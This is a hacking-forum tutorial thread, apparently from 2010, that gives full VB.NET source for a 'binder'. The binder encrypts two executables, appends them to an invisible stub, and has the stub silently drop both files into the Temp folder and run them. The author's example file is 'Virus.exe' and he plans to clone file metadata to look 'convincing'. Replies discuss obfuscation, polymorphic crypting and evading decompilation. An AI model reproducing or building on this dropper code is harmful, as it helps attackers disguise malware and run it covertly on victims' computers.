Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

[VB.Net] The 'Real' Binder [Tutorial]

Hey guys,

Thought I'd make a tutroial on how to make a effecient binder, much easier to understand then FilPut method.

To start off, make your form, add two textboxes and four buttons like so...

[img]http://i819.photobucket.com/albums/zz112/Eprouvez/Bind.png?t=1270903575[/img]

Don't worry about the RunPE textbox.

Now, add this at the top of your code:

Code
Dim F, F2 As String
    Function Secure(ByVal data As Byte()) As Byte()
  Using SA As New System.Security.Cryptography.RijndaelManaged
    SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
    SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
    Return SA.CreateEncryptor.TransformFinalBlock(data, 0, data.Length)
  End Using
    End Function
    Function Unsecure(ByVal data As Byte()) As Byte()
  Using SA As New System.Security.Cryptography.RijndaelManaged
    SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
    SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
    Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
  End Using
    End Function

This is AeonHack's byte encryption.

Note: The 'Dim F, F2 As String' will be talked about soon.

Now double-click button one, this will be for choosing the primary file to open, we will create a new OpenFileDialog:

Code
Dim O As New OpenFileDialog
  With O
    .FileName = "*.*"
    .Filter = "All files (*.*)|*.*"
    .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
    .Title = "Choose a file..."
    If .ShowDialog = Windows.Forms.DialogResult.OK Then
    TextBox1.Text = .FileName
    F = .SafeFileName
    End If
  End With

This part is used to determine which file to read all the bytes from.
F = .SafeFileName. This means it gets the filename of whatevers being loaded. I.e. Virus.exe Lol

Double-click the second button which should be your secondary file, and add this:

Code
Dim O As New OpenFileDialog
  With O
    .FileName = "*.*"
    .Filter = "All files (*.*)|*.*"
    .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
    .Title = "Choose a file..."
    If .ShowDialog = Windows.Forms.DialogResult.OK Then
    TextBox2.Text = .FileName
    F2 = .SafeFileName
    End If
  End With

The only difference this time is TextBox1 has changed to TextBox2 and F to F2.

Now for the kool stuff hehe..

Double-click your merge button or bind button. Now we will create a new SaveFileDialog:

Code
Try
    Dim S As New SaveFileDialog
    With S
    .FileName = "*.exe"
    .Filter = "Executable files (*.exe)|*.exe|All files (*.*)|*.*"
    .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
    .Title = "Choose an output directory..."

This will define your SaveFileDailog.

Now when we click 'Ok' we want our program to bind these files together, so we will read all of the bytes from our two files, use AeonHack's byte encryption to make the bytes unreversable without the encryption key, convert those bytes into a string format, and then write it to our stub. We will add our stub soon.

Code
If .ShowDialog = Windows.Forms.DialogResult.OK Then
    Dim Sp As String = "[Splitter]"
    Dim Buffer As Byte() = My.Resources.Stub
    My.Computer.FileSystem.WriteAllBytes(.FileName, Buffer, False)

Here is where the stub is loaded, and written to the directory chosen by the SaveFileDialog. Since your stub hasn't been created yet, I suggest changing 'My.Resources.Stub' to 'Nothing' for now.

We declare two byte arrays, 'Dim File1 As Byte()' etc, and we read the bytes of the file, 'My.Computer.FileSystem.ReadAllBytes("Of Primary File, or TextBox1.Text")', and then we use the byte encryption 'Secure(My.Computer.FileSystem.ReadAllBytes("Of Primary File, or TextBox1.Text"))'. We do this twice becuse there are the two files to manage.

Code
Dim File1 As Byte() = Secure(My.Computer.FileSystem.ReadAllBytes(TextBox1.Text))
    Dim File2 As Byte() = Secure(My.Computer.FileSystem.ReadAllBytes(TextBox2.Text))

Now, thanks to Nathan72389 for the different binding/building method below, it's good to finally see a change in building codes.

Beneath is where most of the magic happens.

Code
IO.File.AppendAllText(.FileName, Sp & Convert.ToBase64String(File1) & Sp & F & Sp & Convert.ToBase64String(File2) & Sp & F2)
    MsgBox("Successfullly Binded!", MsgBoxStyle.Information + MsgBoxStyle.OkOnly, "Success")
    End If
    End With
  Catch ex As Exception
    MsgBox("Error(s) occured: " & ex.Message, MsgBoxStyle.Critical + MsgBoxStyle.OkOnly, "Error")
  End Try

This is where we open the file, go to the very end of the file, we add our Splitter first so we can distinguish the stub from the data being written to the stub, and then we add the data. The data goes as the following:

'Sp & Convert.ToBase64String(File1) & Sp & F & Sp & Convert.ToBase64String(File2) & Sp & F2'

Splitter, String of Primary File, Split, Primary File Name, Split, String of Secondary File, Split, Secondary File Name.

The rest you should be unble to understand.

You have now created 50% of your binder!

For the stub, create a new project, name it stub or something, make it invisible by editting all the properties, I suggest making FormBorderStyle = None, Opacity = 0, and Size = 0, 0.

Add this code at the top under Public Class Form1:

Code
Function Unsecure(ByVal data As Byte()) As Byte()
  Using SA As New System.Security.Cryptography.RijndaelManaged
    SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
    SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
    Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
  End Using
    End Function

This is used to decrypt the byte encryption put on the files.

Add a Try statement and declare a string used to refrence to the temporary files directory.

Code
Try
    Dim TempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp ' Create refrence to temp dir
    Dim Drop() As String = Split(IO.File.ReadAllText(Application.ExecutablePath), "[Splitter]")

This is how the 'Drop' string array works.

Drop(0) will be your stub
Drop(1) will be your secured bytes of the first file that has been converted to string
Drop(2) will be the file name of the primary file
Drop(3) will be your secured bytes of the second file that has been converted to string
Drop(4) will be the file name of the secondary file

So what we want to do now is, get our files, convert them to byte array, decrypt them, and then write them to the temporary directory.

Code
Dim File1 As Byte() = Unsecure(Convert.FromBase64String(Drop(1)))
    Dim File2 As Byte() = Unsecure(Convert.FromBase64String(Drop(3)))

We then want to write them to the temporary directory, and then run them.

Code
My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(2), File1, False)
    My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(4), File2, False)
    Process.Start(TempDir & "\" & Drop(2)) : Process.Start(TempDir & "\" & Drop(4))
  Catch ex As Exception
    Process.GetCurrentProcess.Kill()
  End Try
  Process.GetCurrentProcess.Kill()

We also kill the stub from running, else if you wanted to test out and delete the stub, it would not let you because it says it's in use.

Violah! You have just made a Binder! You are nearly there!

The next step, is to add your stub to your binder. In your stub project, go to Build->Build Stub, and when it has been built, go to the RELEASE folder, not debug folder. should be in something like 'X:\Users\Your User\Documents\Visual Studio 2010\Projects\Stub\Stub\bin\Release'. Your stub should be there.

Open up your binder, and in the solution explorer double-click My Project, Resources, Add Resource, Add Existing File. Change the filter to all files, and chose your stub. It is now loaded and ready to go. Don't forget to change back Dim Buffer As Byte() = Nothing back to Dim Buffer As Byte() = My.Resources.Stub.

You have created your binder!

As you can see, my binder has a seperate option, which opens that file and outputs them to a directory FULLY intact, so here you go:

Code
Try
    Dim O As New OpenFileDialog
    With O
    .FileName = "*.*"
    .Filter = "All files (*.*)|*.*"
    .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
    .Title = "Choose a file..."
    If .ShowDialog = Windows.Forms.DialogResult.OK Then
    Dim F As New FolderBrowserDialog
    F.Description = "Choose a output for the files..."
    If F.ShowDialog = Windows.Forms.DialogResult.OK Then
    Dim Drop() As String = Split(IO.File.ReadAllText(.FileName), "[Splitter]")
    Dim File1 As Byte() = Unsecure(Convert.FromBase64String(Drop(1)))
    Dim File2 As Byte() = Unsecure(Convert.FromBase64String(Drop(3)))
    My.Computer.FileSystem.WriteAllBytes(F.SelectedPath & "\" & Drop(2), File1, False)
    My.Computer.FileSystem.WriteAllBytes(F.SelectedPath & "\" & Drop(4), File2, False)
    End If
    End If
    End With
  Catch ex As Exception
    MsgBox("Error(s) occured: " & ex.Message, MsgBoxStyle.Critical + MsgBoxStyle.OkOnly, "Error")
  End Try

To finish off, thanks for reading, and I hope you learnt something.

Due to too many requests for the full source code, I am now not giving it out. This is to stop skids. Full source will only be given to 1337s and ub3rs. Do not P.M me otherwise, I will not reply.

Leech all you like, it's all good (:

Credits:

Eprouvez - Coding, Tutorial
Nathan72389 - Binding/Building Method
AeonHack - Byte Encryption

Cheers,

Eprouvez

P.S - Working on Cloning the primary file information for the stub to make it more... Shall we say... Convincing 😈
Will create a new thread if I manage to work it out.
(Apr 10, 2010 04:00 PM)VendettaSoldier Wrote:  thats a kool tut :]


<to short>

Thanks (:

Why did someone troll with one star? ): .
YAYYAYAYAYAYYAYA

Finally no more FilePut :D

People are learning :)
(Apr 10, 2010 04:56 PM)Deathader Wrote:  YAYYAYAYAYAYYAYA

Finally no more FilePut :D

People are learning :)

:) Now we just need to get them using CodeDom to compile at runtime rather than a Stub and this section might posses some knowledge.
(Apr 10, 2010 05:03 PM)Vorfin Wrote:  :) Now we just need to get them using CodeDom to compile at runtime rather than a Stub and this section might posses some knowledge.

CodeDom isn't ALWAYS the best. For instants it's hard to protect your stub if you use codedom (you can't obfus it, etc)

But it's usually pretty damn good.
(Apr 10, 2010 05:05 PM)Deathader Wrote:  CodeDom isn't ALWAYS the best. For instants it's hard to protect your stub if you use codedom (you can't obfus it, etc)

But it's usually pretty damn good.

Yep, especially when you chuck in random Sub names and polymorphic (Thanks for the RC4 BTW) crypt each build :3
(Apr 10, 2010 05:08 PM)Vorfin Wrote:  Yep, especially when you chuck in random Sub names and polymorphic (Thanks for the RC4 BTW) crypt each build :3

The problem with .net is that it's so damn easy to decompile.
Woot nice tutorial mate this is really good, will use this!

seem to be getting lots of erros, probly did it wrong
that's the coolest tut I've ever seen here
thanks for sharing.
Awesome Tutorial Mate! Thanks for sharing this to Us.
Thanks for the tutorial I will try this right away :)
Nice tut thanks, I have just one prob, I follow tut put stub in folder, but get error "stub not a member of resources" Why I get this error, what am I doing wrong?

Holly sh*t I got it as I was writing this I just reread your tut, you explained it the best, I got like 2 other things I had the same prob on, so happy thanks, :)
Haha thanks for the feedback guys.

@Deathader - Yes, the FilePut method is obsolete, I searched for like a hour trying to find a alternative to FilePut, and thanks to Nathan, I managed to work it out.

@Vorfin - Actually, I'm working on CodeDom. Codedom would be good because it would remove the need for a Icon changer and a File Cloner haha.

(Apr 10, 2010 08:49 PM)GodWall Wrote:  Nice tut thanks, I have just one prob, I follow tut put stub in folder, but get error "stub not a member of resources" Why I get this error, what am I doing wrong?

Holly sh*t I got it as I was writing this I just reread your tut, you explained it the best, I got like 2 other things I had the same prob on, so happy thanks, :)

Still need help? Haha

(Apr 10, 2010 05:03 PM)Vorfin Wrote:  :) Now we just need to get them using CodeDom to compile at runtime rather than a Stub and this section might posses some knowledge.

Oh and just cause you said that I'm going to make a tutorial on CodeDom Lol.
(Apr 10, 2010 09:01 PM)[Eprouvez] Wrote:  Haha thanks for the feedback guys.

@Deathader - Yes, the FilePut method is obsolete, I searched for like a hour trying to find a alternative to FilePut, and thanks to Nathan, I managed to work it out.

@Vorfin - Actually, I'm working on CodeDom. Codedom would be good because it would remove the need for a Icon changer and a File Cloner haha.


Still need help? Haha

No bro I got it thanks, I just been trying to learn how to add stubs to projects for a few days this was 3rd project and got it :) thanks you explained it well, I was trying to just add it to the folder, with no luck, I feel silly it was so simple, I now finished my other projects as well, I like learning thanks again :)
Haha no problem mate, if you come accross anymore problems, I'd be happy to help.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[.NET] by Neotrix2000Mar 21, 2022 02:23 PM 23 2,745 Mar 21, 2022 02:23 PM
Last Post: chupit0
[.NET] by PhantomCod3RMay 5, 2017 04:51 PM 3 322 May 5, 2017 04:51 PM
Last Post: NyQuil
[Python] by Hydra_Sep 2, 2016 03:55 PM 16 2,456 Sep 2, 2016 03:55 PM
Last Post: Goodies